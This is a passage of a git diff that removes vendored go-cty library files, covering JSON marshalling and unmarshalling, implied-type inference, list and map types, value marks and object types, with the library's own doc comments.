Key: ek, - } - var err error - err = marshal(ek, ek.Type(), path, b) - if err != nil { - return err - } - b.WriteRune(':') - err = marshal(ev, ety, path, b) - if err != nil { - return err - } - first = false - } - b.WriteRune('}') - return nil - case t.IsTupleType(): - b.WriteRune('[') - etys := t.TupleElementTypes() - it := val.ElementIterator() - path := append(path, nil) // local override of 'path' with extra element - i := 0 - for it.Next() { - if i > 0 { - b.WriteRune(',') - } - ety := etys[i] - ek, ev := it.Element() - path[len(path)-1] = cty.IndexStep{ - Key: ek, - } - err := marshal(ev, ety, path, b) - if err != nil { - return err - } - i++ - } - b.WriteRune(']') - return nil - case t.IsObjectType(): - b.WriteRune('{') - atys := t.AttributeTypes() - path := append(path, nil) // local override of 'path' with extra element - - names := make([]string, 0, len(atys)) - for k := range atys { - names = append(names, k) - } - sort.Strings(names) - - for i, k := range names { - aty := atys[k] - if i > 0 { - b.WriteRune(',') - } - av := val.GetAttr(k) - path[len(path)-1] = cty.GetAttrStep{ - Name: k, - } - var err error - err = marshal(cty.StringVal(k), cty.String, path, b) - if err != nil { - return err - } - b.WriteRune(':') - err = marshal(av, aty, path, b) - if err != nil { - return err - } - } - b.WriteRune('}') - return nil - case t.IsCapsuleType(): - rawVal := val.EncapsulatedValue() - jsonVal, err := json.Marshal(rawVal) - if err != nil { - return path.NewError(err) - } - b.Write(jsonVal) - return nil - default: - // should never happen - return path.NewErrorf("cannot JSON-serialize %s", t.FriendlyName()) - } -} - -// marshalDynamic adds an extra wrapping object containing dynamic type -// information for the given value. -func marshalDynamic(val cty.Value, path cty.Path, b *bytes.Buffer) error { - typeJSON, err := MarshalType(val.Type()) - if err != nil { - return path.NewErrorf("failed to serialize type: %s", err) - } - b.WriteString(`{"value":`) - marshal(val, val.Type(), path, b) - b.WriteString(`,"type":`) - b.Write(typeJSON) - b.WriteRune('}') - return nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/json/simple.go b/vendor/github.com/zclconf/go-cty/cty/json/simple.go deleted file mode 100644 index 507c9cc2c6..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json/simple.go +++ /dev/null @@ -1,41 +0,0 @@ -package json - -import ( - "github.com/zclconf/go-cty/cty" -) - -// SimpleJSONValue is a wrapper around cty.Value that adds implementations of -// json.Marshaler and json.Unmarshaler for simple-but-type-lossy automatic -// encoding and decoding of values. -// -// The couplet Marshal and Unmarshal both take extra type information to -// inform the encoding and decoding process so that all of the cty types -// can be represented even though JSON's type system is a subset. -// -// SimpleJSONValue instead takes the approach of discarding the value's type -// information and then deriving a new type from the stored structure when -// decoding. This results in the same data being returned but not necessarily -// with exactly the same type. -// -// For information on how types are inferred when decoding, see the -// documentation of the function ImpliedType. -type SimpleJSONValue struct { - cty.Value -} - -// MarshalJSON is an implementation of json.Marshaler. See the documentation -// of SimpleJSONValue for more information. -func (v SimpleJSONValue) MarshalJSON() ([]byte, error) { - return Marshal(v.Value, v.Type()) -} - -// UnmarshalJSON is an implementation of json.Unmarshaler. See the -// documentation of SimpleJSONValue for more information. -func (v *SimpleJSONValue) UnmarshalJSON(buf []byte) error { - t, err := ImpliedType(buf) - if err != nil { - return err - } - v.Value, err = Unmarshal(buf, t) - return err -} diff --git a/vendor/github.com/zclconf/go-cty/cty/json/type.go b/vendor/github.com/zclconf/go-cty/cty/json/type.go deleted file mode 100644 index 9131c6c774..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json/type.go +++ /dev/null @@ -1,23 +0,0 @@ -package json - -import ( - "github.com/zclconf/go-cty/cty" -) - -// MarshalType returns a JSON serialization of the given type. -// -// This is just a thin wrapper around t.MarshalJSON, for symmetry with -// UnmarshalType. -func MarshalType(t cty.Type) ([]byte, error) { - return t.MarshalJSON() -} - -// UnmarshalType decodes a JSON serialization of the given type as produced -// by either Type.MarshalJSON or MarshalType. -// -// This is a convenience wrapper around Type.UnmarshalJSON. -func UnmarshalType(buf []byte) (cty.Type, error) { - var t cty.Type - err := t.UnmarshalJSON(buf) - return t, err -} diff --git a/vendor/github.com/zclconf/go-cty/cty/json/type_implied.go b/vendor/github.com/zclconf/go-cty/cty/json/type_implied.go deleted file mode 100644 index 0fa13f6c53..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json/type_implied.go +++ /dev/null @@ -1,170 +0,0 @@ -package json - -import ( - "bytes" - "encoding/json" - "fmt" - - "github.com/zclconf/go-cty/cty" -) - -// ImpliedType returns the cty Type implied by the structure of the given -// JSON-compliant buffer. This function implements the default type mapping -// behavior used when decoding arbitrary JSON without explicit cty Type -// information. -// -// The rules are as follows: -// -// JSON strings, numbers and bools map to their equivalent primitive type in -// cty. -// -// JSON objects map to cty object types, with the attributes defined by the -// object keys and the types of their values. -// -// JSON arrays map to cty tuple types, with the elements defined by the -// types of the array members. -// -// Any nulls are typed as DynamicPseudoType, so callers of this function -// must be prepared to deal with this. Callers that do not wish to deal with -// dynamic typing should not use this function and should instead describe -// their required types explicitly with a cty.Type instance when decoding. -// -// Any JSON syntax errors will be returned as an error, and the type will -// be the invalid value cty.NilType. -func ImpliedType(buf []byte) (cty.Type, error) { - r := bytes.NewReader(buf) - dec := json.NewDecoder(r) - dec.UseNumber() - - ty, err := impliedType(dec) - if err != nil { - return cty.NilType, err - } - - if dec.More() { - return cty.NilType, fmt.Errorf("extraneous data after JSON object") - } - - return ty, nil -} - -func impliedType(dec *json.Decoder) (cty.Type, error) { - tok, err := dec.Token() - if err != nil { - return cty.NilType, err - } - - return impliedTypeForTok(tok, dec) -} - -func impliedTypeForTok(tok json.Token, dec *json.Decoder) (cty.Type, error) { - if tok == nil { - return cty.DynamicPseudoType, nil - } - - switch ttok := tok.(type) { - case bool: - return cty.Bool, nil - - case json.Number: - return cty.Number, nil - - case string: - return cty.String, nil - - case json.Delim: - - switch rune(ttok) { - case '{': - return impliedObjectType(dec) - case '[': - return impliedTupleType(dec) - default: - return cty.NilType, fmt.Errorf("unexpected token %q", ttok) - } - - default: - return cty.NilType, fmt.Errorf("unsupported JSON token %#v", tok) - } -} - -func impliedObjectType(dec *json.Decoder) (cty.Type, error) { - // By the time we get in here, we've already consumed the { delimiter - // and so our next token should be the first object key. - - var atys map[string]cty.Type - - for { - // Read the object key first - tok, err := dec.Token() - if err != nil { - return cty.NilType, err - } - - if ttok, ok := tok.(json.Delim); ok { - if rune(ttok) != '}' { - return cty.NilType, fmt.Errorf("unexpected delimiter %q", ttok) - } - break - } - - key, ok := tok.(string) - if !ok { - return cty.NilType, fmt.Errorf("expected string but found %T", tok) - } - - // Now read the value - tok, err = dec.Token() - if err != nil { - return cty.NilType, err - } - - aty, err := impliedTypeForTok(tok, dec) - if err != nil { - return cty.NilType, err - } - - if atys == nil { - atys = make(map[string]cty.Type) - } - atys[key] = aty - } - - if len(atys) == 0 { - return cty.EmptyObject, nil - } - - return cty.Object(atys), nil -} - -func impliedTupleType(dec *json.Decoder) (cty.Type, error) { - // By the time we get in here, we've already consumed the [ delimiter - // and so our next token should be the first value. - - var etys []cty.Type - - for { - tok, err := dec.Token() - if err != nil { - return cty.NilType, err - } - - if ttok, ok := tok.(json.Delim); ok { - if rune(ttok) == ']' { - break - } - } - - ety, err := impliedTypeForTok(tok, dec) - if err != nil { - return cty.NilType, err - } - etys = append(etys, ety) - } - - if len(etys) == 0 { - return cty.EmptyTuple, nil - } - - return cty.Tuple(etys), nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/json/unmarshal.go b/vendor/github.com/zclconf/go-cty/cty/json/unmarshal.go deleted file mode 100644 index 38106455fe..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json/unmarshal.go +++ /dev/null @@ -1,459 +0,0 @@ -package json - -import ( - "bytes" - "encoding/json" - "fmt" - "reflect" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" -) - -func unmarshal(buf []byte, t cty.Type, path cty.Path) (cty.Value, error) { - dec := bufDecoder(buf) - - tok, err := dec.Token() - if err != nil { - return cty.NilVal, path.NewError(err) - } - - if tok == nil { - return cty.NullVal(t), nil - } - - if t == cty.DynamicPseudoType { - return unmarshalDynamic(buf, path) - } - - switch { - case t.IsPrimitiveType(): - val, err := unmarshalPrimitive(tok, t, path) - if err != nil { - return cty.NilVal, err - } - return val, nil - case t.IsListType(): - return unmarshalList(buf, t.ElementType(), path) - case t.IsSetType(): - return unmarshalSet(buf, t.ElementType(), path) - case t.IsMapType(): - return unmarshalMap(buf, t.ElementType(), path) - case t.IsTupleType(): - return unmarshalTuple(buf, t.TupleElementTypes(), path) - case t.IsObjectType(): - return unmarshalObject(buf, t.AttributeTypes(), path) - case t.IsCapsuleType(): - return unmarshalCapsule(buf, t, path) - default: - return cty.NilVal, path.NewErrorf("unsupported type %s", t.FriendlyName()) - } -} - -func unmarshalPrimitive(tok json.Token, t cty.Type, path cty.Path) (cty.Value, error) { - - switch t { - case cty.Bool: - switch v := tok.(type) { - case bool: - return cty.BoolVal(v), nil - case string: - val, err := convert.Convert(cty.StringVal(v), t) - if err != nil { - return cty.NilVal, path.NewError(err) - } - return val, nil - default: - return cty.NilVal, path.NewErrorf("bool is required") - } - case cty.Number: - if v, ok := tok.(json.Number); ok { - tok = string(v) - } - switch v := tok.(type) { - case string: - val, err := cty.ParseNumberVal(v) - if err != nil { - return cty.NilVal, path.NewError(err) - } - return val, nil - default: - return cty.NilVal, path.NewErrorf("number is required") - } - case cty.String: - switch v := tok.(type) { - case string: - return cty.StringVal(v), nil - case json.Number: - return cty.StringVal(string(v)), nil - case bool: - val, err := convert.Convert(cty.BoolVal(v), t) - if err != nil { - return cty.NilVal, path.NewError(err) - } - return val, nil - default: - return cty.NilVal, path.NewErrorf("string is required") - } - default: - // should never happen - panic("unsupported primitive type") - } -} - -func unmarshalList(buf []byte, ety cty.Type, path cty.Path) (cty.Value, error) { - dec := bufDecoder(buf) - if err := requireDelim(dec, '['); err != nil { - return cty.NilVal, path.NewError(err) - } - - var vals []cty.Value - - { - path := append(path, nil) - var idx int64 - - for dec.More() { - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(idx), - } - idx++ - - rawVal, err := readRawValue(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read list value: %s", err) - } - - el, err := unmarshal(rawVal, ety, path) - if err != nil { - return cty.NilVal, err - } - - vals = append(vals, el) - } - } - - if err := requireDelim(dec, ']'); err != nil { - return cty.NilVal, path.NewError(err) - } - - if len(vals) == 0 { - return cty.ListValEmpty(ety), nil - } - - return cty.ListVal(vals), nil -} - -func unmarshalSet(buf []byte, ety cty.Type, path cty.Path) (cty.Value, error) { - dec := bufDecoder(buf) - if err := requireDelim(dec, '['); err != nil { - return cty.NilVal, path.NewError(err) - } - - var vals []cty.Value - - { - path := append(path, nil) - - for dec.More() { - path[len(path)-1] = cty.IndexStep{ - Key: cty.UnknownVal(ety), - } - - rawVal, err := readRawValue(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read set value: %s", err) - } - - el, err := unmarshal(rawVal, ety, path) - if err != nil { - return cty.NilVal, err - } - - vals = append(vals, el) - } - } - - if err := requireDelim(dec, ']'); err != nil { - return cty.NilVal, path.NewError(err) - } - - if len(vals) == 0 { - return cty.SetValEmpty(ety), nil - } - - return cty.SetVal(vals), nil -} - -func unmarshalMap(buf []byte, ety cty.Type, path cty.Path) (cty.Value, error) { - dec := bufDecoder(buf) - if err := requireDelim(dec, '{'); err != nil { - return cty.NilVal, path.NewError(err) - } - - vals := make(map[string]cty.Value) - - { - path := append(path, nil) - - for dec.More() { - path[len(path)-1] = cty.IndexStep{ - Key: cty.UnknownVal(cty.String), - } - - var err error - - k, err := requireObjectKey(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read map key: %s", err) - } - - path[len(path)-1] = cty.IndexStep{ - Key: cty.StringVal(k), - } - - rawVal, err := readRawValue(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read map value: %s", err) - } - - el, err := unmarshal(rawVal, ety, path) - if err != nil { - return cty.NilVal, err - } - - vals[k] = el - } - } - - if err := requireDelim(dec, '}'); err != nil { - return cty.NilVal, path.NewError(err) - } - - if len(vals) == 0 { - return cty.MapValEmpty(ety), nil - } - - return cty.MapVal(vals), nil -} - -func unmarshalTuple(buf []byte, etys []cty.Type, path cty.Path) (cty.Value, error) { - dec := bufDecoder(buf) - if err := requireDelim(dec, '['); err != nil { - return cty.NilVal, path.NewError(err) - } - - var vals []cty.Value - - { - path := append(path, nil) - var idx int - - for dec.More() { - if idx >= len(etys) { - return cty.NilVal, path[:len(path)-1].NewErrorf("too many tuple elements (need %d)", len(etys)) - } - - path[len(path)-1] = cty.IndexStep{ - Key: cty.NumberIntVal(int64(idx)), - } - ety := etys[idx] - idx++ - - rawVal, err := readRawValue(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read tuple value: %s", err) - } - - el, err := unmarshal(rawVal, ety, path) - if err != nil { - return cty.NilVal, err - } - - vals = append(vals, el) - } - } - - if err := requireDelim(dec, ']'); err != nil { - return cty.NilVal, path.NewError(err) - } - - if len(vals) != len(etys) { - return cty.NilVal, path[:len(path)-1].NewErrorf("not enough tuple elements (need %d)", len(etys)) - } - - if len(vals) == 0 { - return cty.EmptyTupleVal, nil - } - - return cty.TupleVal(vals), nil -} - -func unmarshalObject(buf []byte, atys map[string]cty.Type, path cty.Path) (cty.Value, error) { - dec := bufDecoder(buf) - if err := requireDelim(dec, '{'); err != nil { - return cty.NilVal, path.NewError(err) - } - - vals := make(map[string]cty.Value) - - { - objPath := path // some errors report from the object's perspective - path := append(path, nil) // path to a specific attribute - - for dec.More() { - - var err error - - k, err := requireObjectKey(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read object key: %s", err) - } - - aty, ok := atys[k] - if !ok { - return cty.NilVal, objPath.NewErrorf("unsupported attribute %q", k) - } - - path[len(path)-1] = cty.GetAttrStep{ - Name: k, - } - - rawVal, err := readRawValue(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read object value: %s", err) - } - - el, err := unmarshal(rawVal, aty, path) - if err != nil { - return cty.NilVal, err - } - - vals[k] = el - } - } - - if err := requireDelim(dec, '}'); err != nil { - return cty.NilVal, path.NewError(err) - } - - // Make sure we have a value for every attribute - for k, aty := range atys { - if _, exists := vals[k]; !exists { - vals[k] = cty.NullVal(aty) - } - } - - if len(vals) == 0 { - return cty.EmptyObjectVal, nil - } - - return cty.ObjectVal(vals), nil -} - -func unmarshalCapsule(buf []byte, t cty.Type, path cty.Path) (cty.Value, error) { - rawType := t.EncapsulatedType() - ptrPtr := reflect.New(reflect.PtrTo(rawType)) - ptrPtr.Elem().Set(reflect.New(rawType)) - ptr := ptrPtr.Elem().Interface() - err := json.Unmarshal(buf, ptr) - if err != nil { - return cty.NilVal, path.NewError(err) - } - - return cty.CapsuleVal(t, ptr), nil -} - -func unmarshalDynamic(buf []byte, path cty.Path) (cty.Value, error) { - dec := bufDecoder(buf) - if err := requireDelim(dec, '{'); err != nil { - return cty.NilVal, path.NewError(err) - } - - var t cty.Type - var valBody []byte // defer actual decoding until we know the type - - for dec.More() { - var err error - - key, err := requireObjectKey(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read dynamic type descriptor key: %s", err) - } - - rawVal, err := readRawValue(dec) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to read dynamic type descriptor value: %s", err) - } - - switch key { - case "type": - err := json.Unmarshal(rawVal, &t) - if err != nil { - return cty.NilVal, path.NewErrorf("failed to decode type for dynamic value: %s", err) - } - case "value": - valBody = rawVal - default: - return cty.NilVal, path.NewErrorf("invalid key %q in dynamically-typed value", key) - } - - } - - if err := requireDelim(dec, '}'); err != nil { - return cty.NilVal, path.NewError(err) - } - - if t == cty.NilType { - return cty.NilVal, path.NewErrorf("missing type in dynamically-typed value") - } - if valBody == nil { - return cty.NilVal, path.NewErrorf("missing value in dynamically-typed value") - } - - val, err := Unmarshal([]byte(valBody), t) - if err != nil { - return cty.NilVal, path.NewError(err) - } - return val, nil -} - -func requireDelim(dec *json.Decoder, d rune) error { - tok, err := dec.Token() - if err != nil { - return err - } - - if tok != json.Delim(d) { - return fmt.Errorf("missing expected %c", d) - } - - return nil -} - -func requireObjectKey(dec *json.Decoder) (string, error) { - tok, err := dec.Token() - if err != nil { - return "", err - } - if s, ok := tok.(string); ok { - return s, nil - } - return "", fmt.Errorf("missing expected object key") -} - -func readRawValue(dec *json.Decoder) ([]byte, error) { - var rawVal json.RawMessage - err := dec.Decode(&rawVal) - if err != nil { - return nil, err - } - return []byte(rawVal), nil -} - -func bufDecoder(buf []byte) *json.Decoder { - r := bytes.NewReader(buf) - dec := json.NewDecoder(r) - dec.UseNumber() - return dec -} diff --git a/vendor/github.com/zclconf/go-cty/cty/json/value.go b/vendor/github.com/zclconf/go-cty/cty/json/value.go deleted file mode 100644 index f2f7dd56c7..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/json/value.go +++ /dev/null @@ -1,65 +0,0 @@ -package json - -import ( - "bytes" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" -) - -// Marshal produces a JSON representation of the given value that can later -// be decoded into a value of the given type. -// -// A type is specified separately to allow for the given type to include -// cty.DynamicPseudoType to represent situations where any type is permitted -// and so type information must be included to allow recovery of the stored -// structure when decoding. -// -// The given type will also be used to attempt automatic conversions of any -// non-conformant types in the given value, although this will not always -// be possible. If the value cannot be made to be conformant then an error is -// returned, which may be a cty.PathError. -// -// Capsule-typed values can be marshalled, but with some caveats. Since -// capsule values are compared by pointer equality, it is impossible to recover -// a value that will compare equal to the original value. Additionally, -// it's not possible to JSON-serialize the capsule type itself, so it's not -// valid to use capsule types within parts of the value that are conformed to -// cty.DynamicPseudoType. Otherwise, a capsule value can be used as long as -// the encapsulated type itself is serializable with the Marshal function -// in encoding/json. -func Marshal(val cty.Value, t cty.Type) ([]byte, error) { - errs := val.Type().TestConformance(t) - if errs != nil { - // Attempt a conversion - var err error - val, err = convert.Convert(val, t) - if err != nil { - return nil, err - } - } - - // From this point onward, val can be assumed to be conforming to t. - - buf := &bytes.Buffer{} - var path cty.Path - err := marshal(val, t, path, buf) - - if err != nil { - return nil, err - } - - return buf.Bytes(), nil -} - -// Unmarshal decodes a JSON representation of the given value into a cty Value -// conforming to the given type. -// -// While decoding, type conversions will be done where possible to make -// the result conformant even if the types given in JSON are not exactly -// correct. If conversion isn't possible then an error is returned, which -// may be a cty.PathError. -func Unmarshal(buf []byte, t cty.Type) (cty.Value, error) { - var path cty.Path - return unmarshal(buf, t, path) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/list_type.go b/vendor/github.com/zclconf/go-cty/cty/list_type.go deleted file mode 100644 index 2ef02a12f3..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/list_type.go +++ /dev/null @@ -1,74 +0,0 @@ -package cty - -import ( - "fmt" -) - -// TypeList instances represent specific list types. Each distinct ElementType -// creates a distinct, non-equal list type. -type typeList struct { - typeImplSigil - ElementTypeT Type -} - -// List creates a map type with the given element Type. -// -// List types are CollectionType implementations. -func List(elem Type) Type { - return Type{ - typeList{ - ElementTypeT: elem, - }, - } -} - -// Equals returns true if the other Type is a list whose element type is -// equal to that of the receiver. -func (t typeList) Equals(other Type) bool { - ot, isList := other.typeImpl.(typeList) - if !isList { - return false - } - - return t.ElementTypeT.Equals(ot.ElementTypeT) -} - -func (t typeList) FriendlyName(mode friendlyTypeNameMode) string { - elemName := t.ElementTypeT.friendlyNameMode(mode) - if mode == friendlyTypeConstraintName { - if t.ElementTypeT == DynamicPseudoType { - elemName = "any single type" - } - } - return "list of " + elemName -} - -func (t typeList) ElementType() Type { - return t.ElementTypeT -} - -func (t typeList) GoString() string { - return fmt.Sprintf("cty.List(%#v)", t.ElementTypeT) -} - -// IsListType returns true if the given type is a list type, regardless of its -// element type. -func (t Type) IsListType() bool { - _, ok := t.typeImpl.(typeList) - return ok -} - -// ListElementType is a convenience method that checks if the given type is -// a list type, returning a pointer to its element type if so and nil -// otherwise. This is intended to allow convenient conditional branches, -// like so: -// -// if et := t.ListElementType(); et != nil { -// // Do something with *et -// } -func (t Type) ListElementType() *Type { - if lt, ok := t.typeImpl.(typeList); ok { - return <.ElementTypeT - } - return nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/map_type.go b/vendor/github.com/zclconf/go-cty/cty/map_type.go deleted file mode 100644 index 82d36c6282..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/map_type.go +++ /dev/null @@ -1,74 +0,0 @@ -package cty - -import ( - "fmt" -) - -// TypeList instances represent specific list types. Each distinct ElementType -// creates a distinct, non-equal list type. -type typeMap struct { - typeImplSigil - ElementTypeT Type -} - -// Map creates a map type with the given element Type. -// -// Map types are CollectionType implementations. -func Map(elem Type) Type { - return Type{ - typeMap{ - ElementTypeT: elem, - }, - } -} - -// Equals returns true if the other Type is a map whose element type is -// equal to that of the receiver. -func (t typeMap) Equals(other Type) bool { - ot, isMap := other.typeImpl.(typeMap) - if !isMap { - return false - } - - return t.ElementTypeT.Equals(ot.ElementTypeT) -} - -func (t typeMap) FriendlyName(mode friendlyTypeNameMode) string { - elemName := t.ElementTypeT.friendlyNameMode(mode) - if mode == friendlyTypeConstraintName { - if t.ElementTypeT == DynamicPseudoType { - elemName = "any single type" - } - } - return "map of " + elemName -} - -func (t typeMap) ElementType() Type { - return t.ElementTypeT -} - -func (t typeMap) GoString() string { - return fmt.Sprintf("cty.Map(%#v)", t.ElementTypeT) -} - -// IsMapType returns true if the given type is a list type, regardless of its -// element type. -func (t Type) IsMapType() bool { - _, ok := t.typeImpl.(typeMap) - return ok -} - -// MapElementType is a convenience method that checks if the given type is -// a map type, returning a pointer to its element type if so and nil -// otherwise. This is intended to allow convenient conditional branches, -// like so: -// -// if et := t.MapElementType(); et != nil { -// // Do something with *et -// } -func (t Type) MapElementType() *Type { - if lt, ok := t.typeImpl.(typeMap); ok { - return <.ElementTypeT - } - return nil -} diff --git a/vendor/github.com/zclconf/go-cty/cty/marks.go b/vendor/github.com/zclconf/go-cty/cty/marks.go deleted file mode 100644 index 3898e45533..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/marks.go +++ /dev/null @@ -1,296 +0,0 @@ -package cty - -import ( - "fmt" - "strings" -) - -// marker is an internal wrapper type used to add special "marks" to values. -// -// A "mark" is an annotation that can be used to represent additional -// characteristics of values that propagate through operation methods to -// result values. However, a marked value cannot be used with integration -// methods normally associated with its type, in order to ensure that -// calling applications don't inadvertently drop marks as they round-trip -// values out of cty and back in again. -// -// Marked values are created only explicitly by the calling application, so -// an application that never marks a value does not need to worry about -// encountering marked values. -type marker struct { - realV interface{} - marks ValueMarks -} - -// ValueMarks is a map, representing a set, of "mark" values associated with -// a Value. See Value.Mark for more information on the usage of mark values. -type ValueMarks map[interface{}]struct{} - -// NewValueMarks constructs a new ValueMarks set with the given mark values. -func NewValueMarks(marks ...interface{}) ValueMarks { - if len(marks) == 0 { - return nil - } - ret := make(ValueMarks, len(marks)) - for _, v := range marks { - ret[v] = struct{}{} - } - return ret -} - -// Equal returns true if the receiver and the given ValueMarks both contain -// the same marks. -func (m ValueMarks) Equal(o ValueMarks) bool { - if len(m) != len(o) { - return false - } - for v := range m { - if _, ok := o[v]; !ok { - return false - } - } - return true -} - -func (m ValueMarks) GoString() string { - var s strings.Builder - s.WriteString("cty.NewValueMarks(") - i := 0 - for mv := range m { - if i != 0 { - s.WriteString(", ") - } - s.WriteString(fmt.Sprintf("%#v", mv)) - i++ - } - s.WriteString(")") - return s.String() -} - -// IsMarked returns true if and only if the receiving value carries at least -// one mark. A marked value cannot be used directly with integration methods -// without explicitly unmarking it (and retrieving the markings) first. -func (val Value) IsMarked() bool { - _, ok := val.v.(marker) - return ok -} - -// HasMark returns true if and only if the receiving value has the given mark. -func (val Value) HasMark(mark interface{}) bool { - if mr, ok := val.v.(marker); ok { - _, ok := mr.marks[mark] - return ok - } - return false -} - -// ContainsMarked returns true if the receiving value or any value within it -// is marked. -// -// This operation is relatively expensive. If you only need a shallow result, -// use IsMarked instead. -func (val Value) ContainsMarked() bool { - ret := false - Walk(val, func(_ Path, v Value) (bool, error) { - if v.IsMarked() { - ret = true - return false, nil - } - return true, nil - }) - return ret -} - -func (val Value) assertUnmarked() { - if val.IsMarked() { - panic("value is marked, so must be unmarked first") - } -} - -// Marks returns a map (representing a set) of all of the mark values -// associated with the receiving value, without changing the marks. Returns nil -// if the value is not marked at all. -func (val Value) Marks() ValueMarks { - if mr, ok := val.v.(marker); ok { - // copy so that the caller can't mutate our internals - ret := make(ValueMarks, len(mr.marks)) - for k, v := range mr.marks { - ret[k] = v - } - return ret - } - return nil -} - -// HasSameMarks returns true if an only if the receiver and the given other -// value have identical marks. -func (val Value) HasSameMarks(other Value) bool { - vm, vmOK := val.v.(marker) - om, omOK := other.v.(marker) - if vmOK != omOK { - return false - } - if vmOK { - return vm.marks.Equal(om.marks) - } - return true -} - -// Mark returns a new value that as the same type and underlying value as -// the receiver but that also carries the given value as a "mark". -// -// Marks are used to carry additional application-specific characteristics -// associated with values. A marked value can be used with operation methods, -// in which case the marks are propagated to the operation results. A marked -// value _cannot_ be used with integration methods, so callers of those -// must derive an unmarked value using Unmark (and thus explicitly handle -// the markings) before calling the integration methods. -// -// The mark value can be any value that would be valid to use as a map key. -// The mark value should be of a named type in order to use the type itself -// as a namespace for markings. That type can be unexported if desired, in -// order to ensure that the mark can only be handled through the defining -// package's own functions. -// -// An application that never calls this method does not need to worry about -// handling marked values. -func (val Value) Mark(mark interface{}) Value { - var newMarker marker - newMarker.realV = val.v - if mr, ok := val.v.(marker); ok { - // It's already a marker, so we'll retain existing marks. - newMarker.marks = make(ValueMarks, len(mr.marks)+1) - for k, v := range mr.marks { - newMarker.marks[k] = v - } - } else { - // It's not a marker yet, so we're creating the first mark. - newMarker.marks = make(ValueMarks, 1) - } - newMarker.marks[mark] = struct{}{} - return Value{ - ty: val.ty, - v: newMarker, - } -} - -// Unmark separates the marks of the receiving value from the value itself, -// removing a new unmarked value and a map (representing a set) of the marks. -// -// If the receiver isn't marked, Unmark returns it verbatim along with a nil -// map of marks. -func (val Value) Unmark() (Value, ValueMarks) { - if !val.IsMarked() { - return val, nil - } - mr := val.v.(marker) - marks := val.Marks() // copy so that the caller can't mutate our internals - return Value{ - ty: val.ty, - v: mr.realV, - }, marks -} - -// UnmarkDeep is similar to Unmark, but it works with an entire nested structure -// rather than just the given value directly. -// -// The result is guaranteed to contain no nested values that are marked, and -// the returned marks set includes the superset of all of the marks encountered -// during the operation. -func (val Value) UnmarkDeep() (Value, ValueMarks) { - marks := make(ValueMarks) - ret, _ := Transform(val, func(_ Path, v Value) (Value, error) { - unmarkedV, valueMarks := v.Unmark() - for m, s := range valueMarks { - marks[m] = s - } - return unmarkedV, nil - }) - return ret, marks -} - -func (val Value) unmarkForce() Value { - unw, _ := val.Unmark() - return unw -} - -// WithMarks returns a new value that has the same type and underlying value -// as the receiver and also has the marks from the given maps (representing -// sets). -func (val Value) WithMarks(marks ...ValueMarks) Value { - if len(marks) == 0 { - return val - } - ownMarks := val.Marks() - markCount := len(ownMarks) - for _, s := range marks { - markCount += len(s) - } - if markCount == 0 { - return val - } - newMarks := make(ValueMarks, markCount) - for m := range ownMarks { - newMarks[m] = struct{}{} - } - for _, s := range marks { - for m := range s { - newMarks[m] = struct{}{} - } - } - v := val.v - if mr, ok := v.(marker); ok { - v = mr.realV - } - return Value{ - ty: val.ty, - v: marker{ - realV: v, - marks: newMarks, - }, - } -} - -// WithSameMarks returns a new value that has the same type and underlying -// value as the receiver and also has the marks from the given source values. -// -// Use this if you are implementing your own higher-level operations against -// cty using the integration methods, to re-introduce the marks from the -// source values of the operation. -func (val Value) WithSameMarks(srcs ...Value) Value { - if len(srcs) == 0 { - return val - } - ownMarks := val.Marks() - markCount := len(ownMarks) - for _, sv := range srcs { - if mr, ok := sv.v.(marker); ok { - markCount += len(mr.marks) - } - } - if markCount == 0 { - return val - } - newMarks := make(ValueMarks, markCount) - for m := range ownMarks { - newMarks[m] = struct{}{} - } - for _, sv := range srcs { - if mr, ok := sv.v.(marker); ok { - for m := range mr.marks { - newMarks[m] = struct{}{} - } - } - } - v := val.v - if mr, ok := v.(marker); ok { - v = mr.realV - } - return Value{ - ty: val.ty, - v: marker{ - realV: v, - marks: newMarks, - }, - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/null.go b/vendor/github.com/zclconf/go-cty/cty/null.go deleted file mode 100644 index d58d0287b6..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/null.go +++ /dev/null @@ -1,14 +0,0 @@ -package cty - -// NullVal returns a null value of the given type. A null can be created of any -// type, but operations on such values will always panic. Calling applications -// are encouraged to use nulls only sparingly, particularly when user-provided -// expressions are to be evaluated, since the precence of nulls creates a -// much higher chance of evaluation errors that can't be caught by a type -// checker. -func NullVal(t Type) Value { - return Value{ - ty: t, - v: nil, - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/object_type.go b/vendor/github.com/zclconf/go-cty/cty/object_type.go deleted file mode 100644 index 187d38751b..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/object_type.go +++ /dev/null @@ -1,135 +0,0 @@ -package cty - -import ( - "fmt" -) - -type typeObject struct { - typeImplSigil - AttrTypes map[string]Type -} - -// Object creates an object type with the given attribute types. -// -// After a map is passed to this function the caller must no longer access it, -// since ownership is transferred to this library. -func Object(attrTypes map[string]Type) Type { - attrTypesNorm := make(map[string]Type, len(attrTypes)) - for k, v := range attrTypes { - attrTypesNorm[NormalizeString(k)] = v - } - - return Type{ - typeObject{ - AttrTypes: attrTypesNorm, - }, - } 